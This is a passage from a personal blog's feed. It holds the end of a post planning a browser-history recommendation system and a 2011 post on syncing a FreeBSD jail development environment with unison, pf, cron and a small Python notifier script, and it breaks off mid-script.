The more data we have available, the better it is (T. Segaran, 2007).
This data can be retrieved in various ways, one of them is to get it
directly from user&amp;#8217;s&amp;nbsp;browsers.&lt;/p&gt;
&lt;h3 id="data-preparation-and-extraction"&gt;Data preparation and&amp;nbsp;extraction&lt;/h3&gt;
&lt;p&gt;The data gathered from browsers is basically URLs and additional
information about the context of the navigation. There is clearly a need
to extract more information about the meaning of the data the user is
browsing, starting by the content of the web&amp;nbsp;pages.&lt;/p&gt;
&lt;p&gt;Because the information provided on the current Web is not meant to be
read by machines (T. Berners Lee, 2001) there is a need of tools to
extract meaning from web pages. The information needs to be preprocessed
before stored in a machine readable format, allowing to make
recommendations (Choochart et Al,&amp;nbsp;2004).&lt;/p&gt;
&lt;p&gt;Data preparation is composed of two steps: cleaning and structuring (
Castellano et Al, 2007). Because raw data can contain a lot of un-needed
text (such as menus, headers etc.) and need to be cleaned prior to be
stored. Multiple techniques can be used here and belongs to boilerplate
removal and full text extraction (Kohlschütter et Al,&amp;nbsp;2010).&lt;/p&gt;
&lt;p&gt;Then, structuring the information: category, type of content (news,
blog, wiki) can be extracted from raw data. This kind of information is
not clearly defined by &lt;span class="caps"&gt;HTML&lt;/span&gt; pages so there is a need of tools to
recognise&amp;nbsp;them.&lt;/p&gt;
&lt;p&gt;Some context-related information can also be inferred from each
resource. It can go from the visit frequency to the navigation group the
user was in while browsing. It is also possible to determine if the user
&amp;#8220;liked&amp;#8221; a resource, and determine a mark for it, which can be used by
information filtering a later step (T. Segaran,&amp;nbsp;2007).&lt;/p&gt;
&lt;p&gt;At this stage, structuring the data is required. Storing this kind of
information in &lt;span class="caps"&gt;RDBMS&lt;/span&gt; can be a bit tedious and require complex queries to
get back the data in an usable format. Graph databases can play a major
role in the simplification of information storage and&amp;nbsp;querying.&lt;/p&gt;
&lt;h3 id="information-filtering"&gt;Information&amp;nbsp;filtering&lt;/h3&gt;
&lt;p&gt;To filter the information, three techniques can be used (Balabanovic et
Al,&amp;nbsp;1997):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The content-based approach states that if an user have liked
    something in the past, he is more likely to like similar things in
    the future. So it&amp;#8217;s about establishing a profile for the user and
    compare new items against&amp;nbsp;it.&lt;/li&gt;
&lt;li&gt;The collaborative approach will rather recommend items that other
    similar users have liked. This approach consider only the
    relationship between users, and not the profile of the user we are
    making recommendations&amp;nbsp;to.&lt;/li&gt;
&lt;li&gt;the hybrid approach, which appeared recently combine both of the
    previous approaches, giving recommendations when items score high
    regarding user&amp;#8217;s profile, or if a similar user already liked&amp;nbsp;it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Grouping is also something to consider at this stage (G. Myatt, 2007).
Because we are dealing with huge amount of data, it can be useful to
detect group of data that can fit together. Data clustering is able to
find such groups (T. Segaran,&amp;nbsp;2007).&lt;/p&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Balabanović, M., &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; Shoham, Y. (1997). Fab: content-based,
    collaborative recommendation. Communications of the &lt;span class="caps"&gt;ACM&lt;/span&gt;, 40(3),
    66–72. &lt;span class="caps"&gt;ACM&lt;/span&gt;. Retrieved March 1, 2011, from
    &lt;a href="http://portal.acm.org/citation.cfm?id=245108.245124&amp;amp;"&gt;http://portal.acm.org/citation.cfm?id=245108.245124&amp;amp;&lt;/a&gt;;.&lt;/li&gt;
&lt;li&gt;Berners-Lee, T., Hendler, J., &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; Lassila, O. (2001). The semantic
    web: Scientific american. Scientific American, 284(5), 34–43.
    Retrieved November 21, 2010, from
    &lt;a href="http://www.citeulike.org/group/222/article/1176986"&gt;http://www.citeulike.org/group/222/article/1176986&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Castellano, G., Fanelli, A., &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; Torsello, M. (2007). &lt;span class="caps"&gt;LODAP&lt;/span&gt;: a LOg
    DAta Preprocessor for mining Web browsing patterns. Proceedings of
    the 6th Conference on 6th &lt;span class="caps"&gt;WSEAS&lt;/span&gt; Int. Conf. on Artificial
    Intelligence, Knowledge Engineering and Data Bases-Volume 6 (p.
    12–17). World Scientific and Engineering Academy and Society
    (&lt;span class="caps"&gt;WSEAS&lt;/span&gt;). Retrieved March 8, 2011, from
    &lt;a href="http://portal.acm.org/citation.cfm?id=1348485.1348488"&gt;http://portal.acm.org/citation.cfm?id=1348485.1348488&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Kohlschutter, C., Fankhauser, P., &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; Nejdl, W. (2010). Boilerplate
    detection using shallow text features. Proceedings of the third &lt;span class="caps"&gt;ACM&lt;/span&gt;
    international conference on Web search and data mining (p. 441–450).
    &lt;span class="caps"&gt;ACM&lt;/span&gt;. Retrieved March 8, 2011, from
    &lt;a href="http://portal.acm.org/citation.cfm?id=1718542"&gt;http://portal.acm.org/citation.cfm?id=1718542&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Myatt, &lt;span class="caps"&gt;G. J.&lt;/span&gt;(2007). Making Sense of Data: A Practical Guide to
    Exploratory Data Analysis and Data&amp;nbsp;Mining.&lt;/li&gt;
&lt;li&gt;Segaran, T. (2007). Collective&amp;nbsp;Intelligence.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="privacy"&gt;Privacy&lt;/h2&gt;
&lt;p&gt;The first thing that&amp;#8217;s come to people minds when it comes to process
their browsing data is privacy. People don&amp;#8217;t want to be stalked. That&amp;#8217;s
perfectly right, and I don&amp;#8217;t&amp;nbsp;either.&lt;/p&gt;
&lt;p&gt;But such a system don&amp;#8217;t have to deal with people identities. It&amp;#8217;s
completely possible to process completely anonymous data, and that&amp;#8217;s
probably what I&amp;#8217;m gonna&amp;nbsp;do.&lt;/p&gt;
&lt;p&gt;By the way, if you have interesting thoughts about that, if you do know
projects that do seems related, fire the comments&amp;nbsp;!&lt;/p&gt;
&lt;h2 id="whats-the-plan"&gt;What&amp;#8217;s the plan&amp;nbsp;?&lt;/h2&gt;
&lt;p&gt;There is a lot of different things to explore, especially because I&amp;#8217;m a
complete novice in that&amp;nbsp;field.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I want to develop a firefox plugin, to extract the browsing
    informations ( still, I need to know exactly which kind of
    informations to retrieve). The idea is to provide some &lt;em&gt;raw&lt;/em&gt;
    browsing data, and then to transform it and to store it in the
    better possible&amp;nbsp;way.&lt;/li&gt;
&lt;li&gt;Analyse how to store the informations in a graph database. What can
    be the different methods to store this data and to visualize the
    relationship between different pieces of data? How can I define the
    different contexts, and add those informations in the&amp;nbsp;db?&lt;/li&gt;
&lt;li&gt;Process the data using well known recommendation algorithms. Compare
    the results and criticize their&amp;nbsp;value.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is plenty of stuff I want to try during this&amp;nbsp;experimentation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I want to try using Geshi to visualize the connexion between the
    links, and the&amp;nbsp;contexts&lt;/li&gt;
&lt;li&gt;Try using graph databases such as&amp;nbsp;Neo4j&lt;/li&gt;
&lt;li&gt;Having a deeper look at tools such as scikit.learn (a machine
    learning toolkit in&amp;nbsp;python)&lt;/li&gt;
&lt;li&gt;Analyse web pages in order to categorize them. Processing their
    contents as well, to do some keyword based classification will be&amp;nbsp;done.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lot of work on its way, yay&amp;nbsp;!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Working directly on your server? How to backup and sync your dev environment with unison</title><link href="https://blog.notmyidea.org/working-directly-on-your-server-how-to-backup-and-sync-your-dev-environment-with-unison.html" rel="alternate"></link><published>2011-03-16T00:00:00+01:00</published><updated>2011-03-16T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2011-03-16:/working-directly-on-your-server-how-to-backup-and-sync-your-dev-environment-with-unison.html</id><summary type="html">
&lt;p&gt;I have a server running freebsd since some time now, and was wondering
about the possibility to directly have a development environment ready
to use when I get a internet connexion, even if I&amp;#8217;m not on my&amp;nbsp;computer.&lt;/p&gt;
&lt;p&gt;Since I use vim to code, and spend most of my …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;I have a server running freebsd since some time now, and was wondering
about the possibility to directly have a development environment ready
to use when I get a internet connexion, even if I&amp;#8217;m not on my&amp;nbsp;computer.&lt;/p&gt;
&lt;p&gt;Since I use vim to code, and spend most of my time in a console while
developing, it&amp;#8217;s possible to work via ssh, from&amp;nbsp;everywhere.&lt;/p&gt;
&lt;p&gt;The only problem is the synchronisation of the source code, config files
etc. from my machine to the&amp;nbsp;server.&lt;/p&gt;
&lt;p&gt;Unison provides an interesting way to synchronise two folders, even over
a network. So let&amp;#8217;s do it&amp;nbsp;!&lt;/p&gt;
&lt;h2 id="creating-the-jail"&gt;Creating the&amp;nbsp;jail&lt;/h2&gt;
&lt;p&gt;In case you don&amp;#8217;t use FreeBSD, you can skip this&amp;nbsp;section.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# I have a flavour jail named default
$ ezjail-admin -f default workspace.notmyidea.org 172.19.1.6
$ ezjail-admin start workspace.notmyidea.org
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In my case, because the &amp;#8220;default&amp;#8221; flavour contains already a lot of
interesting things, my jail come already setup with ssh, bash and vim
for instance, but maybe you&amp;#8217;ll need it in your&amp;nbsp;case.&lt;/p&gt;
&lt;p&gt;I want to be redirected to the ssh of the jail when I connect to the
host with the 20006 port. Add lines in &lt;code&gt;/etc/pf.conf&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;workspace_jail&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;172.19.1.6&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;rdr&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$ext_if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;proto&lt;span class="w"&gt; &lt;/span&gt;tcp&lt;span class="w"&gt; &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;any&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$ext_ip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20006&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$workspace_jail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;22&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Reload packet filter&amp;nbsp;rules&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;/etc/rc.d/pf&lt;span class="w"&gt; &lt;/span&gt;reload
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="working-with-unison"&gt;Working with&amp;nbsp;unison&lt;/h2&gt;
&lt;p&gt;Now that we&amp;#8217;ve set up the jail. Set up unison on the server and on your
client. Unison is available on the freebsd ports so just install&amp;nbsp;it&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;notmyidea.org&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20006&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;make&lt;span class="w"&gt; &lt;/span&gt;-C&lt;span class="w"&gt; &lt;/span&gt;/usr/ports/net/unison-nox11&lt;span class="w"&gt; &lt;/span&gt;config-recursive
$&lt;span class="w"&gt; &lt;/span&gt;make&lt;span class="w"&gt; &lt;/span&gt;-C&lt;span class="w"&gt; &lt;/span&gt;/usr/ports/net/unison-nox11&lt;span class="w"&gt; &lt;/span&gt;package-recursive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Install as well unison on your local machine. Double check to install
the same version on the client and on the server. Ubuntu contains the
2.27.57 as well as the&amp;nbsp;2.32.52.&lt;/p&gt;
&lt;p&gt;Check that unison is installed and reachable via ssh from your&amp;nbsp;machine&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;notmyidea.org&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20006&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;unison&lt;span class="w"&gt; &lt;/span&gt;-version
unison&lt;span class="w"&gt; &lt;/span&gt;version&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.27.157
$&lt;span class="w"&gt; &lt;/span&gt;unison&lt;span class="w"&gt; &lt;/span&gt;-version
unison&lt;span class="w"&gt; &lt;/span&gt;version&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.27.57
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="let-sync-our-folders"&gt;Let sync our&amp;nbsp;folders&lt;/h2&gt;
&lt;p&gt;The first thing I want to sync is my vim configuration. Well, it&amp;#8217;s
already &lt;a href="http://github.com/ametaireau/dotfiles/"&gt;in a git repository&lt;/a&gt;
but let&amp;#8217;s try to use unison for it right&amp;nbsp;now.&lt;/p&gt;
&lt;p&gt;I have two machines then: workspace, the jail, and ecureuil my&amp;nbsp;laptop.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;unison&lt;span class="w"&gt; &lt;/span&gt;.vim&lt;span class="w"&gt; &lt;/span&gt;ssh://notmyidea.org:20006/.vim
unison&lt;span class="w"&gt; &lt;/span&gt;.vimrc&lt;span class="w"&gt; &lt;/span&gt;ssh://notmyidea.org:20006/.vimrc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It is also possible to put all the informations in a config file, and
then to only run unison. (fire up vim&amp;nbsp;\~/.unison/default.prf.&lt;/p&gt;
&lt;p&gt;Here is my&amp;nbsp;config:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/home/alexis&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;ssh://notmyidea.org:20006&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;.vimrc&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;dotfiles&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;dev&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;follow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Name *&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;My vimrc is in fact a symbolic link on my laptop, but I don&amp;#8217;t want to
specify each of the links to unison. That&amp;#8217;s why the follow = Name * is&amp;nbsp;for.&lt;/p&gt;
&lt;p&gt;The folders you want to synchronize are maybe a bit large. If so,
considering others options such as rsync for the first import may be a
good idea (I enjoyed my university huge upload bandwith to upload &lt;span class="caps"&gt;2GB&lt;/span&gt; in
20mn&amp;nbsp;;)&lt;/p&gt;
&lt;h2 id="run-the-script-frequently"&gt;Run the script&amp;nbsp;frequently&lt;/h2&gt;
&lt;p&gt;Once that done, you just need to run the unison command line some times
when you want to sync your two machines. I&amp;#8217;ve wrote a tiny script to get
some feedback from the&amp;nbsp;sync:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;

&lt;span class="n"&gt;DEFAULT_LOGFILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/unison.log&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;PROGRAM_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Unison syncer&amp;quot;&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;logfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;DEFAULT_LOGFILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;program_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;PROGRAM_NAME&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# init&lt;/span&gt;
    &lt;span class="n"&gt;display_message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
    &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;

    &lt;span class="n"&gt;before&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="c1"&gt;# call unison to make the sync&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;unison -batch &amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{0}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;logfile&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="c1"&gt;# get the duration of the operation&lt;/span&gt;
    &lt;span class="n"&gt;td&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;before&lt;/span&gt;
    &lt;span class="n"&gt;delta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;td&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;microseconds&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;td&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;td&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;

    &lt;span class="c1"&gt;# check what was the last entry in the log&lt;/span&gt;
    &lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expanduser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;logfile&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;No updates to propagate&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;display_message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Synchronization&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

        &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot; It took &lt;/span&gt;&lt;span class="si"&gt;{0}&lt;/span&gt;&lt;span class="s2"&gt;s.&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;display_message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;notify-send -i &lt;/span&gt;&lt;span class="si"&gt;{2}&lt;/span&gt;&lt;span class="s1"&gt; &amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{0}&lt;/span&gt;&lt;span class="s1"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{1}&lt;/span&gt;&lt;span class="s1"&gt;&amp;quot;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;program_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s1"&gt;&amp;#39;error&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;info&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;sync&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is probably perfectible, but that does the&amp;nbsp;job.&lt;/p&gt;
&lt;p&gt;Last step is to tell you machine to run that frequently. That&amp;#8217;s what
crontab is made for, so let&amp;#8217;s &lt;code&gt;crontab -e&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    $ &lt;span class="gs"&gt;* *&lt;/span&gt;/3 &lt;span class="gs"&gt;* *&lt;/span&gt; * . ~/.Xdbus; /usr/bin/python /home/alexis/dev/python/unison-syncer/sync.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The \~/.Xdbus allows cron to communicate with your X11 session. Here is
its&amp;nbsp;content.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="c1"&gt;# Get the pid of nautilus&lt;/span&gt;
&lt;span class="nv"&gt;nautilus_pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;pgrep&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$LOGNAME&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;nautilus&lt;span class="k"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# If nautilus isn&amp;#39;t running, just exit silently&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-z&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$nautilus_pid&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
